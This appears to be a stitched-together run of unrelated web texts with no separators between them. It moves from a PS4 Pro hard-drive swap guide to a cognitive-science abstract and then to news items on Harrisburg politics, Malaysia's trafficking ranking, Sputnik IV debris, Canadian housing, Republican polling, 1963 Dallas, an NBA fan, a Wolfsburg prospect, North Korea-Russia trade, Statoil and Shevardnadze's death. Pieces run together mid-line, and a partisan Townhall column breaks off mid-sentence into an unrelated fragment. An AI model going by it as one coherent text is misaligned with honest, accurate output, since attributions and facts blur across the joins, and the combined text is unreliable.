On the back of the PlayStation 4 Pro, you’ll find a plastic panel that sits on the right. You’ll spot a tab right near to the ethernet port that will allow you to pull the cover off and reveal the hard drive bay.
UNSCREW THE LARGE BLACK SCREW
Push in with your phillips-head screwdriver and unscrew the large screw that is securing the hard drive caddy.
PULL OUT THE HARD DRIVE CADDY
Grab the two prongs at the end of the hard drive caddy with your fingers and gently slide it out of the PlayStation 4 Pro.
UNSCREW FOUR BLACK SCREWS
Use your phillips-head screwdriver to unscrew the four black screws on the side of the caddy. Be careful not to lose them as they are important to keeping your hard drive secure in the caddy.
REPLACE OLD HARD DRIVE WITH THE NEW ONE
Gently slide your old hard drive out of the hard drive caddy and slide in your new hard drive. Take note that you need to put it in chip side up (this is reverse of the old PlayStation 4.) Line up your screws with the holes on the side and screw your four black screws back into place.
SLIDE CADDY BACK IN AND SECURE WITH SCREW/COVER
Slide your hard drive caddy back into your PlayStation 4 Pro with the two prongs facing the bottom of your console. Secure your caddy with the black screw and click in your hard drive cover.
PREPARE CLEAN INSTALL OF PS4 OS
As this is a new hard drive, you’ll need to install a new PlayStation 4 operating system. To do this, head HERE and press the ‘fresh install’ button to download your clean install. You’ll need to put it on a USB drive in the folder structure PS4 > UPDATE > PSP4UPDATE.PUP
If you need to restore from a backup after this. You’ll need to go into settings and restore from backup. You can then go into Storage Management to make sure that your new hard drive size has taken effect.Abstract
The philosopher and cognitive scientist Andy Clark has argued that humans have always been ‘natural-born cyborgs,’ that is, they have always collaborated and merged with non-biological props and aids in order to find better environments for thinking. These ‘mindware’ upgrades (I borrow the term ‘mindware’ from Clark, 2001) extend beyond the fusions of the organic and technological that posthumanist theory imagines as our future. Moreover, these external aids do not remain external to our minds; they interact with them to effect profound changes in their internal architecture. Medieval artificial memory systems provide evidence for just this kind of cognitive interaction. But because medieval people conceived of their relationship to technology in fundamentally different ways, we need also to attend to larger epistemic frameworks when we analyze historically contingent forms of mindware upgrade. What cultural history adds to our understanding of embedded cognition is not only a recognition of our cyborg past but a historicized understanding of human reality.Harrisburg City Solicitor Phil Harper has resigned his post effective immediately.
Harper confirmed the move in an interview this morning, ascribing his decision to "philosophical differences" with Mayor Linda Thompson that he felt were preventing him from representing the city with peak effectiveness. "There was an inability to provide the kind of support that I felt I needed to give her, simply because she's just unaccepting of certain realities," Harper said.
He did not go into detail, citing the nature of his work as the city's top lawyer. But generally, Harper pointed to problems like an inability to compromise that kept certain issues from moving forward.
"It could be different," Harper said. "You don't have to give up your perspective. You don't have to give up your point of view, your philosophies or your belief systems.... But you do have to work with people."
UPDATE: Mayor Thompson released a statement via e-mail this afternoon:
"Today, Mr. Harper tendered his resignation ten months shy of the expiration of his term as city solicitor. While in this administration, he has been at the helm of litigation matters on behalf of the City of Harrisburg. We wish him well in future endeavors. Recruitment for the city solicitor position will take place immediately. Effective today, February 8, 2011, Jason Hess has been named the acting city solicitor.”
Harper, 47, came to city government in 2005 as a deputy city solicitor in 2005. He became acting solicitor in October 2008, replacing Steven Dade, and then was confirmed as solicitor last fall.
Thompson's spokesman Chuck Ardo resigned last week, saying he and the mayor differed in how the media relates to the city, among other matters.Malaysia has climbed out of the Tier 2 watch list in the United States annual Trafficking in Persons (TIP) report released last night. — AFP pic
KUALA LUMPUR, June 28 ― Malaysia has slightly upgraded its position in the United States annual Trafficking in Persons (TIP) report released last night, climbing out of the Tier 2 Watch List.
Despite that, the Southeast Asian country still remains in the Tier 2 for the third year in a row since it was promoted from the bottom tier in 2015.
“The Government of Malaysia does not fully meet the minimum standards for the elimination of trafficking; however, it is making significant efforts to do so.
“The government demonstrated increasing efforts compared to the previous reporting period; therefore, Malaysia was upgraded to Tier 2,” said the report.
Malaysia was upgraded from the bottom tier, Tier 3, to the Tier 2 Watch List in 2015’s TIP report, but the decision was criticised as an ostensible move to allow Malaysia to sign the Trans-Pacific Partnership Agreement with the US, as the latter imposes an automatic non-aid and non-trade sanction on countries at the bottom tier.
According to the US State Department, there are three criteria that differentiates between “Tier 2” and “Tier 2 Watch List”.
In the latter, victims of severe forms of trafficking in the ranked country is very significant or is significantly increasing, and there is a failure to provide evidence of increasing efforts to combat it.
The recommendations in this year’s report is mostly similar to last year’s, such as for Malaysia to publicly gazette and fully implement the Anti-Trafficking in Persons and Anti-Smuggling of Migrants (Amendment) Act 2015.
The report also recommended Malaysia to increase the number and effectiveness of trafficking prosecutions and convictions, including of complicit officials, in addition to making public the results of investigations involving corrupt officials.
Malaysia had languished in the Tier 2 Watch List since 2010 before it was downgraded to Tier 3 in 2014.
The report was compiled using information from US embassies, government officials, nongovernmental and international organizations, published reports, news articles, academic studies, research trips to every region of the world, and tip-offs.The opinions expressed by columnists are their own and do not represent the views of Townhall.com.
Last week, CNN thrust itself into what could very well be the biggest scandal in the history of the American media.
And it couldn’t have happened to a more deserving group of people.
However, that the fake journalists at CNN are as deserving as anyone to be called out for what they are doesn’t mean that there aren’t legions of others in the media who aren’t as deserving of the same.
The only difference between the fake journalists at CNN and fake journalists at MSNBC; ABC; CBC; NBC; The New York Times; The Washington Post; and numerous other media organizations is that CNN got caught red handed in the act of cooking their anti-Trump story of choice: the Vast Left-wing Russian “Collusion” Conspiracy.
CNN got busted in two respects. First, it was forced to retract a fake news story regarding “collusion” between one of the President’s associates, Anthony Scaramucci, and those nefarious “Russians.”
Then, Project Veritas released video exposing, first, a CNN producer and, then, CNN contributor Van Jones, both admitting that there had never been anything to the “collusion” conspiracy other than ratings gold.
The CNN scandal confirms two things that many of us have been insisting upon all along:
(1)Fake News is a real and pervasive phenomenon.
(2)The Russian “Collusion” Conspiracy is, and has always been, the most recent paradigmatic expression of this phenomenon.
This being said, there is much confusion regarding this notion of “fake news” that equally inflicts both the friends and enemies |
. noticed the fragment, but thought it was discarded cardboard. They later stopped and found the object to be metallic, embedded in asphalt and too hot to handle.
Analysis of the recovered debris was performed later by a number of organizations, such as the Smithsonian Astrophysical Observatory, the Massachusetts Institute of Technology, Brookhaven National Laboratory, Los Alamos National Laboratory, the Air Force Cambridge Research Laboratories, and the Carnegie Institute of Technology chemistry department.
Back in those early "space race" days, any insight into what the Soviet Union was up to in satellite-making was considered an intelligence plus.
Remains returned
An initial effort to deliver the remains of Sputnik IV to the Soviet Union was rebuffed by Soviet officialdom, but the Soviets did finally accept the fragment. On Jan. 5, 1963, representatives of the Soviet Embassy in Washington, D.C., formally took back what was left of their 5-ton spacecraft.
A 1972 U.S. Senate report on liability from re-entering space objects lists the Wisconsin incident as event No. 5 in a Space Object Fragment Summary, said Nicholas Johnson, chief scientist of the NASA Orbital Debris Program Office at the Johnson Space Center in Houston.
"The current rate of finding a surviving component of a re-entered spacecraft or rocket body is about one to two per year, like the Delta 1 re-entry in Zimbabwe this year," Johnson told SPACE.com. [Worst Space Debris Events of All Time]
A replica of the recovered Sputnik IV chunk of space junk is on display at a museum in Manitowoc, WI. (Image: © Rahr-West Art Museum)
Simple, silly and fun
In the meantime, Sputnikfest is the premier experience that spotlights the sky fall of Sputnik IV.
"The event was, once again, a hit with people locally and nationally," said Greg Vadney, executive director of the Rahr-West Art Museum. "We had folks come in from as far away as Florida, Texas and Arizona for this year's Sputnikfest."
Vadney said that, despite the hot weather (for Wisconsin), people turned out to have fun and experience Sputnikfest. "Sputnikfest is an event where you leave your self-consciousness at the gate,” he told SPACE.com.
Sputnikfest is an excuse to have fun in the name of space history, Vadney said.
"When Sputnikfest was devised six years ago, the thinking was: 'Hey, the fact that a Soviet satellite crashed mere steps from our front door is just wacky. Let's make a festival in that vein — we don't take it too seriously, and we enjoy this crazy era, the 1960s, in space history and in social history.' We keep the event simple and silly and fun," Vadney said.
Alien drop
Two Manitowoc police officers patrolling the streets in the early morning found a chunk of space-age history in the form of a fragment from the Soviet Union's Sputnik IV. (Image: © Rahr-West Art Museum)
"It was a really fun event" Manitowoc resident Tina Prigge told SPACE.com. "The Masquers community theater, Wisconsin's oldest continually running theater group, scripted a hilarious reenactment of what occurred back on that fateful day, from the Russian scientists celebrating too early with vodka and pushing the wrong button…to the Manitowoc gumshoes who discovered the fallen debris."
Prigge said this year's festivities included "Sputnik: The Musical," as well as "Alien Drop," which involves tiny aliens with numbers on them that correspond to raffle tickets. The Manitowoc Fire Department uses its ladder truck to stretch high above the brass ring that denotes where a Sputnik IV leftover dinged the same street 51 years earlier. The aliens are dropped from that height, and the alien that lands within the ring, or closest to the ring, wins the cash.
"Oh, and the unique, out-of-this-world costumes that some people wear to the event are so clever," Prigge said. "And there is no shortage of tin foil!"
Leonard David has been reporting on the space industry for more than five decades. He is former director of research for the National Commission on Space and is co-author of Buzz Aldrin's new book, "Mission to Mars – My Vision for Space Exploration," published by National Geographic. Follow us @Spacedotcom, Facebook or Google+. Originally published on SPACE.com.The Canadian housing market can expect slower price growth over the next five years, but fears of a national housing crash may be overblown, according to a Moody Analytics report released this week.
The report, which cites Brookfield’s housing price index for its data, states that house prices for detached single family homes are expected to increase by nine per cent this year and 2.9 per cent annually over the next five years.
READ MORE: Vancouver’s foreign-buyer tax hitting detached homes harder than condos, developers say
However, the report cautioned that some metropolitan areas will experience modest price declines.
“There has been a lot of speculation about Canada’s housing markets overheating during the past two years,” said Moody’s economist Andres Carbacho-Burgos.
“The house price outlook calls for a deceleration of house price growth, not for a serious decline, though there are exceptions for smaller regions.”
WATCH: Bank of Canada downgrades growth outlook again, cites real estate
Four out of five of the strongest metropolitan areas for annualized house price growth over the next five years are in Ontario.
Barrie, Ont., could be the top performer with house prices expected to increase 7.9 per cent a year over the next five years, followed by Toronto and Oshawa at 6.7 per cent per year.
“Toronto and possibly Oshawa benefit from strong foreign capital inflows, and most of the metro areas in Ontario also benefit from good projected income growth and from the lack of any extended house price correction in the historical data, pointing to weak mean reversion effects thanks to non-measurable factors such as wealth and good mortgage credit quality,” read the report.
Saint John, N.B., also made the top five – with prices expected to increase at an annual rate of 4.9 per cent over the next five years – thanks to “extended weakness” in the housing market from 2011 to 2015, leaving a large portion of the area’s housing undervalued.
WATCH: Vancouver’s real estate boom coming to an end
Saskatoon, Edmonton and Regina round out the bottom of the list as the weakest performers, with prices expected to fall 0.9 per cent, 1 per cent and 1.8 per cent respectively.
“Edmonton, Regina, Saskatoon and St. John’s, Newfoundland and Labrador all suffer from slow income growth due to a combination of low oil and other commodity price forecasts,” read the report.
“Calgary does significantly better thanks to a more diversified economy and stronger projected household formation.”
READ MORE: Some Canadian real estate markets could be in for a massive correction
The report comes after the Canada Mortgage and Housing Corporation (CMHC) announced it will issue its first “Red Alert” for the national housing market later this month. The CMHC says it believes there is the potential for major price corrections in the Toronto and Vancouver market thanks to skyrocketing real estate prices.
Earlier this month new federal mortgage rules were put in place to try to stabilize the country’s housing markets. The rules involve a stress test for all insured mortgage applications to ensure the borrower can still service their loan in the event interest rates rise or their personal financial situation changes.
READ MORE: Feds to close tax loophole for foreign home buyers
WATCH: New federal mortgage rules come into effectAmericans' opinion of the Republican Party is at a six-year low -- in part because an increasing number of Republicans don't think much of their own party.
In a new Pew Research poll, just 32 percent of Americans view the Republican Party favorably, a nine-point drop since January.
Among Republicans, that decline has been even sharper: The percentage of those who view the party favorably has dropped 18 points since January, to its lowest share in two years.
There are a few forces likely at play here -- not the least of which is Mr. Donald Trump.
First, as the survey notes, the GOP has trailed the Democratic Party in favorability ratings in recent years. For the past four years, Americans have said the Republican Party has more extreme views than Democrats. Those numbers coincide with the 2010 rise of the tea party, which grabbed headlines with aggressive town hall meetings the summer before and now has 48 members of Congress in its official caucus.
Second, Republicans have controlled the House of Representatives since 2011 and the Senate since 2015. As President Obama will tell you, the simple act of governing makes you less popular with the public.
Look at these numbers from Pew of Republicans' approval of their GOP-led Congress in May and back in 2011:
Third, Republicans are in the midst of a primary battle with an unprecedented number of candidates (16!) and no clear leader. In fact, the 2016 Republican field is the most fractured in recent memory. Nasty primary battles are never a great time for any party.
On top of all that, Republicans are dealing with Trumpmania.
The real estate magnate's improbable and inescapable presidential campaign has clearly tapped into a small but fervent anti-Washington sentiment (a recent Washington Post/ABC News poll found about 14 percent of the population supports Trump's run for president).
But for obvious reasons, Trump is incredibly divisive: That same poll found 61 percent of Americans would never, ever consider voting for Trump under any circumstances.
[Here are 12 other times Trump vilified illegal immigrants]
These latest approval numbers for the GOP show that party leaders who are nervous about Trump have real reason to be. If they don't cut ties with Trump, and do it quickly, their nightmare appears to be on its way to becoming true: People are associating Trump with the Republican Party -- and as a result, turning away from the party itself.What's the point of Eminem in middle age? He was a peroxide phenomenon in his 20s, an icon of adolescent posturing, the go-to guy for Christina Aguilera insults and casual homophobia, but in 2013, rap is trap and money and molly. Who needs a 41-year-old spitting another revenge fantasy about his mother over plangent piano? With this sequel to his blockbuster third album, however, the rapper has created a work that bears comparison. Not necessarily because it's full of hits – though Rap God, Survival, Rhyme or Reason and Love Game all could be – but because Eminem has engaged with his age and others' scepticism, decided he doesn't give a fuck and asserted himself again. There is confidence and maturity here; introspection and regret are balanced with a clear idea of his place in rap's history. His flows are exceptional (Rap God contains an unbelievable feat of double-time rhyming) and the wordplay dazzling. The jokes, in places offensive, are relentless and ribald. There is no apology, though, no concession; just a considered, virtuoso application of talent.Did you know there are fireflies in Utah?
For many years, our entomologist had been hearing anecdotes from Utahns about occasional firefly sightings. The Natural History Museum of Utah has since partnered with scientists at BYU to track their populations throughout the state, using the help of citizen scientists.
Geneticists at BYU are researching the relationships of various species and how the populations in Utah, that are separated by hundreds of miles and many geographical barriers, are related to the Eastern U.S. populations.
Submit a Sighting
What are fireflies? Fireflies, also called lightning bugs, are beetles and both males and females light up as a way to attract mates and deter predators. The oldest specimen collected in Utah is housed at the Natural History Museum of Utah and was collected in 1929. Fireflies are not new to Utah, but we have much to learn about them. They are most often found in wet habitats from May-June and start flashing around around 9:45 p.m. Join the Firefly Citizen Science Project Today, research benefits greatly from the discoveries and contributions of Citizen Scientists around the world. The Natural History Museum of Utah currently hosts a number of Citizen Science projects and we need your help. If you have observed fireflies in Utah, follow this link to submit your sightings. If you're unsure whether fireflies live near your home, follow this link to view a map of current firefly sightings in Utah. Photo credit to GeoEric from geocaching.com
Participate in other U.S. Firefly Citizen Science ProjectsThe president is a socialist. He is neutering the United States on the world stage. He is spending us into bankruptcy. He is hellbent on expanding national health care, which will surely lead to government death panels.
He is advancing big-government agendas everywhere from Main Street to Wall Street. And do we really know the truth about his personal history and religion?
Perhaps the man in the Oval Office should be impeached — even tried for treason.
If today’s extremist rhetoric sounds familiar, that’s because it is eerily, poignantly similar to the vitriol aimed squarely at John F. Kennedy during his presidency.
And just like today, Texans were leading what some of them saw as a moral crusade.
1 of 29 Full Screen Autoplay Close Skip Ad × JFK, the man behind Camelot View Photos John F. Kennedy brought an understanding of television and photography to the White House. Here is a collection of images of the 35th president. Caption A selection of the best images from the life of President John F. Kennedy. The skipper John F. Kennedy in 1943 aboard PT-109, of which he was commander, in the South Pacific. His wartime service was a key credential as the young Kennedy sought elective office at home. It was little known then, but Kennedy also struggled with his wartime injuries for the rest of his life. John F. Kennedy Presidential Library and Museum, Boston/European Pressphoto Agency Buy Photo Wait 1 second to continue.
To find the very roots of the tea party of 2013, just go back to downtown Dallas in 1963, back to the months and weeks leading to the Kennedy assassination. It was where and when a deeply angry political polarization, driven by a band of zealots, burst wide open in America.
It was fueled then, as now, by billionaires opposed to federal oversight, rabid media, Bible-thumping preachers and extremist lawmakers who had moved far from their political peers. In 1963, that strident minority hijacked the civic dialogue and brewed the boiling, toxic environment waiting for Kennedy the day he died.
As he planned his trip to Dallas in November 1963, President Kennedy knew that hundreds of thousands across Texas adored him — or at least, respected the office he held. But he also knew that there was an increasingly hysterical fringe.
As Kennedy approached Dallas, he turned to his wife, Jacqueline. “We’re heading into nut country today,” he said.
Dallas Morning News publisher Ted Dealey had a loathing that became particularly deeply personal. At a social luncheon for Texas news executives in the State Dining Room of the White House, Dealey berated Kennedy to his face: “We need a man on horseback to lead this nation — and many people in Texas and the Southwest think that you are riding Caroline’s tricycle.”
Back in Dallas, Dealey ordered his reporters to investigate whether Kennedy had been married to another woman and whether the Kennedy dynasty had somehow erased evidence of that marriage.
Not far away in downtown Dallas, oil billionaire H.L. Hunt was pouring millions into a ceaseless anti-Kennedy radio campaign; it was the dawn of extremist radio in the nation. Hunt’s program, “Life Line,” reached 10 million listeners a day with its scorching attacks against “the mistaken,” the term Hunt’s announcers used to describe the president’s supporters.
When Kennedy proposed Medicare to provide health care for the elderly, Hunt’s shows warned that government death panels would follow: “a package which would literally make the president of the United States a medical czar with potential life-or-death power over every man, woman and child in the country.”
Hunt’s pastor in Dallas was the thundering W.A. Criswell, head of the largest Baptist congregation in the country. Criswell was deeply suspicious of the president’s Catholic religion, and he assailed Kennedy’s candidacy as a possible plot that would undermine America’s true Christian values.
Dallas was represented in Congress by an eloquent, Ivy League-educated ideologue regarded by some as the most extreme politician in Washington. Bruce Alger had cast the lone “no” vote against a federal program to provide free surplus milk to needy children. Even among his conservative peers, Alger was considered on the outer edge.
There was also Maj. Gen. Edwin A. Walker, the commander who had been hailed as a hero for breaking the grip of segregation in Arkansas’ capital; he led the bayonet-carrying troops who escorted African-American students to the doors of a Little Rock high school and kept order in the streets afterwards. Within four years, Walker had been relieved of his command by Kennedy’s defense secretary, Robert S. McNamara, after he was accused of trying to brainwash his troops with ultra-right-wing propaganda. The defrocked Walker moved to Dallas and was welcomed by the mayor in a grand public ceremony.
Walker promoted anti-federal agendas as well as what were once quaintly called “Southern traditions.” He made national headlines by instigating bloody riots against James Meredith’s brave attempts to integrate the University of Mississippi.
Many historians now agree that the blind absolutism of these powerful men of Dallas in the early 1960s has been discredited.
But here we are in 2013 and the echo is painfully clear:
The ad hominem attacks against a “socialist president.” The howling broadcasters. The mega-rich men from Texas funding the political action campaigns. There is even another charismatic, Ivy-educated ideologue: Sen. Ted Cruz would have been quite comfortable in Dallas 1963.
In the days leading to Kennedy’s fateful hour in Dallas, the city experienced one dark moment after another. Swastikas were plastered on the high-end emporium Neiman Marcus. A bomb threat was made during a visit by the Rev. Martin Luther King Jr. A cross was burned on the lawn of a Holocaust survivor. U.N. Ambassador Adlai E. Stevenson II, in town for a speech, fled for his life after being surrounded by a spitting mob.
It all occurred in a place where a few powerful people had marched far from the political center and erected a firewall against reasoned debate.
Fifty years after Kennedy’s death, it is as if nothing has changed. As the nation continues to sift for meaning in his tragedy, this is the most aching lesson of all.
Bill Minutaglio is a University of Texas journalism professor and the author of “First Son: George W. Bush and the Bush Family Dynasty.” He and Steven L. Davis are the authors of “Dallas 1963” (2013, Twelve Books), from which this article is adapted.LOS ANGELES -- When the Los Angeles Clippers signed forward Bobby Simmons on Monday, the nine-year veteran who last played for the Clippers in 2005, smiled and said, "I can't wait to see Clipper Darrell."
Darrell Bailey says the Clippers asked him to stop using his longtime "Clipper Darrell" nickname. Andrew D. Bernstein/NBAE/Getty Images
It looks like Simmons won't be seeing him anytime soon.
Darrell Bailey, an 11-year season ticket holder who is better known as "Clipper Darrell," announced on his website Wednesday that the team has asked him to refrain from using the name "Clipper Darrell."
"I have been told by Clipper management they no longer want me to be Clipper Darrell, a name that was given to me by the media because of my unwavering support and team spirit," he wrote. "I am devastated!"
After Bailey announced the news on Twitter, Clippers players quickly came to his support.
Clippers guard Chris Paul wrote, "WE GOT YOU!!!" Clippers forward Blake Griffin tweeted, "Bring back #ClipperDarrell," and Clippers center DeAndre Jordan added, "I love you Clipper Darrell…#ClipperDarrell."
"I'm not feeling too good right now," Bailey told ESPNLosAngeles.com by phone Wednesday. "They asked me not to be Clipper Darrell anymore. They don't want me to dance. They don't want me to cheer anymore at the games. I can't be Clipper Darrell. They don't want me in the suit. They don't want me to do anything anymore."
Bailey refused to go into further details. The Clippers issued a harshly-worded statement in response to Bailey's claims on Wednesday.Mexican stars have blessed the Bundesliga in recent years. Bayer Leverkusen's Javier 'Chicharito' Hernandez would sit at the top of any list of successful Mexican imports, although his close friend, Eintracht Frankfurt's Marco Fabian, is not far behind to judge by recent performances. Another Mexican, Pavel Pardo, lifted the title with Stuttgart in 2009.
Click here to draft in some Mexican magic to your Official Fantasy Bundesliga team!
Adrian Goransch could soon be the next name to join that illustrious list. The 18-year-old attacking midfielder, who has plied his trade with Wolfsburg since he was eight, has recently been tipped for the top.
As his name suggests, Goransch is half-German, half-Mexican; he was born in Puebla, Mexico, to a German father and Mexican mother. His parents met in Mexico because his father, from Wolfsburg originally, was working for his car company on a placement in Puebla. Once Adrian was born, the family remained in Mexico for seven months before upping sticks to the United States, where Adrian lived until he was three.
Watch: click play on the video below for an exclusive tour of Wolfsburg's Volkswagen Arena:
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From there, the family returned to Goransch Senior's hometown, Wolfsburg, where they have been ever since. Although tipped for the top, it has been this season that Goransch has started turning heads in the Wolves' U-19 team. A versatile midfielder, Goransch returned one assist in ten games as Wolfsburg went undefeated throughout the campaign to romp to the title of the northern section of the Youth Bundesliga.
Goransch's performances have not gone unnoticed. In an exclusive interview with bundesliga.com, the Mexican Football Federation's (FMF) director of youth national teams, Dennis te Kloese, drew attention to Goransch's talent.
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"We've been following Adrian for a while," said te Kloese. "We sent one of our people to watch him and to get in touch with his mum. He watched a game and since then the scout has been giving us regular reports on his progress.
"Adrian is a very interesting player for us," said te Kloese. "He was born in Puebla and that family history means that he likes the idea of playing for Mexico. That's important. Adrian can offer us quite a lot, because he's versatile: he can play in several attacking positions and so broadens the squad in that sense."
Goransch isn't the only youngster from the Americas in the Wolves' youth teams!:
While there is obvious interest from the Mexican side, te Kloese did sound a note of caution given the current strength of El Tri's youth reserves. "Adrian will soon have his moment when he's called up and I'm sure we'll give him the opportunity. He showed interest in playing for Mexico, but that was a long time ago."
If Goransch does continue progressing in such a manner and takes the next step into professional football, then it seems likely he will have to make a decision sooner, rather than later. If he opts for El Tri, it would certainly be a boon for the country; it seems safe to say that if he does so, he will write his name into that illustrious list of Mexicans in Germany's top flight. Watch this space.
Click here for more Wolfsburg news!As part of its own “pivot” toward Asia, Russia has begun to build up ties with states on its southern and eastern flanks. China, India, and Mongolia are among those set to benefit from additional Russian energy sales and augmented defense cooperation. North Korea stands to gain as well, albeit in a more limited fashion. Even modest improvements to economic ties–like easing restrictions on Russian businesspersons conducting trade in North Korea–can have outsized effects on the North’s relatively weak economy.
The two sides recently moved their bilateral economic cooperation forward another step by announcing the creation of a North Korea-Russia Business Council. Moscow already has a similar council dedicated to fostering trade relations with South Korean firms, among others.
While the purpose of any transnational business council is to foster increased cooperation between enterprises, the North Korea-Russia variant has greater than average political implications, since North Korea has no de jure private enterprises, only state-owned and “Red Hat” companies, and the Russian business scene, while relatively privatized, is subject to considerable state involvement. Diplomatic and regional officials in Russia have already stated a broad commitment to fostering economic ties through the new business council, underscoring the link between politics and trade in the North Korea-Russia relationship.
The following is a translation of an article published by RIA Novosti.
“Russia and DPRK to Create Business Council” [Россия и КНДР создадут Деловой совет], RIA Novosti, January 22, 2015.
Russian citizens have already begun to receive multiple-entry visas to the DPRK, have already had their first financial transactions with North Korea in rubles, and are currently negotiating the creation of a special government organ tasked with the framework of joint projects with Russia.
KHABAROVSK, JAN. 22 – RIA Novosti. Russia and the DPRK will create a business council in the very near future, which will allow for improved interaction between the Russian and North Korean business communities, according to the Ministry for the Development of the Russian Far East.
“For the most comfortable working together and interaction between the North Korean and Russian business communities, a business council will be created next week,” in the words of a communiqué by the vice-president of the Russian Chamber of Commerce and Industry, Vladimir Strashko.
The head of the Ministry for the Development of the Russian Far East, Alexander Galushka, held a meeting on the realization of projects of Russian companies in the DPRK, in which officials from the Russian foreign and economic development ministries participated, as well as the management of Russian companies either already engaged in or planning to engage in activities in the DPRK. The minister also introduced to the businessmen the new Russian ambassador to North Korea, Alexander Matsegora.
“We had an intense year in 2014, but, in essence, it was preparatory. This year it’s important for us to move on to the phase of practical realization of previously achieved agreements,” Galushka is quoted as saying.
During the meeting it was noted that results were reached over complex bilateral questions. Russian citizens have already begun to receive multiple-entry visas to the DPRK, first settlement payments in rubles have been made, and currently negotiations are underway for the creation by the North-Korean government of a special organ tasked with the supervision of joint projects with Russia.
In addition to this, corporate leaders addressed the difficulties they must overcome to work in North Korea. The head of the Ministry for the Development of the Russian Far East and the Russian ambassador assured them of their readiness to lend full assistance.
“Every Russian project in the DPRK will be under daily control. Every request for help made at the ambassador’s end will be realized,” said Alexander Matsegora.
Source: “Russia and DPRK to Create Business Council” [Россия и КНДР создадут Деловой совет], RIA Novosti, January 22, 2015. Translation by Anthony Rinna.NEW YORK (Reuters) - Six years after the Keystone XL oil pipeline was first proposed, environmental groups are celebrating their most tangible victory in their crusade to stop the line from delivering Canadian oil sands crude to U.S. refiners.
A general view of Statoil's office is seen in Stavanger in this January 18, 2013 file photo provided by NTB Scanpix. REUTERS/Kent Skibstad/NTB Scanpix
On Thursday, Norwegian oil firm Statoil said it will postpone its 40,000 barrels-a-day Corner project for at least three years, possibly indefinitely.
While a handful of other projects have also been delayed or canceled this year, due in part to rising costs, Statoil is the first company to explicitly cite the issue of “limited pipeline access” as a reason. Its decision drew a direct link to the contentious and growing battle between producers seeking access to global markets and environmentalists seeking to block every export avenue for Canada’s oil sands.
To be sure, Statoil also had other reasons to tap the brakes: it said rising labor and material costs were a problem. Analysts said Statoil is also seeking to balance spending across a wide array of global assets.
Statoil’s blunt statement about the pipeline issue set off a round of celebration from environmental groups and told-you-so criticism from conservative backers of the Keystone XL pipeline. These groups have pressed President Barack Obama to greenlight the project or face a future of diminishing Canadian oil.
The decision is “tangible proof that delays on pipeline projects like Keystone lead to real reductions in tar sands investment and associated carbon pollution,” six environmental groups including the Sierra Club said in a statement.
Greenpeace Canada campaigner Mike Hudema said that “pipeline campaigns are turning the tide on tar sands expansion.”
For pipeline backers, however, the news was an unwelcome reminder that the effort to forestall Keystone XL “means less oil is getting to the world market and Americans will be paying higher prices for their fuel,” said David Kreutzer, research fellow in energy economics at the conservative Heritage Foundation.
TWO OTHERS TOO
Two larger oil sands projects have already been halted this year: Total SA suspended work at its ailing $10 billion Joslyn mine, and Shell pulled the plug on Pierre River. These projects were in difficult straits and neither company made any explicit connection to pipelines.
But Staale Tungesvik, Statoil’s country manager for Canada, minced no words in his statement: “Market access issues also play a role, including limited pipeline access, which weighs on prices for Alberta oil, squeezing margins and making it difficult for sustainable financial returns.”
The link for many observers was clear.
Statoil’s is the first thermal development, a relatively cheaper development than large-scale mining projects.
The fact that Keystone XL is not yet built has already added pressure to local prices, making such projects more marginal, said Samir Kayande, Director of Energy Research, at ITG Investment Research in Calgary.
“The offtake situation is something we highlight as the number-one risk to growth in the oil sands,” Kayande said.
Based on current projects, consultants Wood Mackenzie expect oil output will exceed pipeline capacity around 2017, said Mark Oberstoetter, lead analyst for North America upstream.
But the political battle over export pipelines has made that date a moving target.
“It’s a dynamic view, one that changes about every month, but we do see a number of them going forward because the economics will surpass the regional obstacles,” he said. The firm currently expects Keystone XL to be in service in 2018.
LATEST OR LAST?
It remained unclear whether Statoil’s decision was the latest of a growing trend, or the last. Many other projects are already past the point of no return; others are so far off that they haven’t even reached the advanced planning stage.
The issue of pipeline access is also less acute than it was one or two years ago thanks to the growth of oil-by-rail, even though the cost - at least $14 a barrel - may be two or three times higher.
Imperial Oil, majority-owned by Exxon Mobil, has not changed its plans to expand oil sands production by 275,000 bpd at its thermal and mining operations, spokesman Pius Rolheiser said.
However, it is building its own crude-by-rail terminal in partnership with Kinder Morgan near Edmonton, Alberta, to ensure better market access for its crude.
“Our strategy is to look at all transportation options including rail,” Rolheiser said.Eric Trump is a good shot. The son of the Republican presidential nominee Donald Trump visited a Saginaw County rifle range while on the campaign trail for his dad on Friday, Nov. 4.
During his Friday tour of Michigan, which was planned to include stops in Taylor, Pontiac, Walled Lake and Detroit, Trump began the campaign trail at Saginaw Field and Stream Club in Thomas Township.
After a brief speech to a crowd of about 200, Trump was led out to the gun range for a little target practice.
"Let me see if this.223 works," he joked as he prepped the Remington.223 varmint rifle.
After a warm-up shot, someone in the crowd told him to shoot as much as he liked.
From 100 yards, Trump fired three more rounds that found the bullseye, according to club President Mike Meyer.
"That's better than a lot of SWAT teams can do," Meyer said.
Shari Crozier came out to watch Trump shoot, but said she enjoyed his message as well.
"He talked about the corruptness in the government," Crozier said. "He talked about the Second Amendment."
Crozier said Trump also spoke about his dad repealing Obamacare if elected and replacing it with something more affordable as well as accessible to everyone.
Crozier has attended several events in support of Donald Trump and thinks he has the best chance of becoming president. Trump is running against Democrat Hillary Clinton in the Nov. 8 General Election for U.S. president.
"I think we are going to win," Crozier said.
As for Eric Trump's shooting skills, Crozier said, "I think he's an awesome shot."Soviet minister who was the diplomatic face of Gorbachev's policies during the cold war has died after a long illness
Eduard Shevardnadze, the Soviet Union's last foreign minister and later the president of Georgia, has died aged 86 after a long battle with illness. His death was confirmed by a spokesperson on Monday.
The politician had an extraordinary career, rising through the ranks of the communist hierarchy in his native Georgia, before springing onto the international scene as the Soviet Union was in its death throes, helping bring down the Berlin Wall, reunite Germany and bring an end to the cold war.
He won many friends in the west for his commitment to reform and his charismatic style, but when he later took up the leadership of his newly independent homeland, he was chased out of office amid allegations of corruption and nepotism.
Shevardnadze was born in 1928, and had a long career in the Georgian branch of the Communist party before becoming first secretary in 1972, making him the de facto leader of Georgia. During his rule there was some economic growth in the republic, and attempts at modest reform and innovation were made.
Then in 1985 he was called to Moscow by Mikhail Gorbachev to add to his circle of reformers, and become foreign minister. While he won many friends abroad, he also came up against stern resistance among Soviet figures who loathed Gorbachev's reforms and saw Shevarnadze's foreign policy of détente and withdrawal from Afghanistan as shameful.
Gorbachev described Shevardnadze as an "extraordinary, talented man" who was able to find common ground with old and young generations alike. "We were friends, and I am very sad about his death," the last Soviet leader told Interfax.
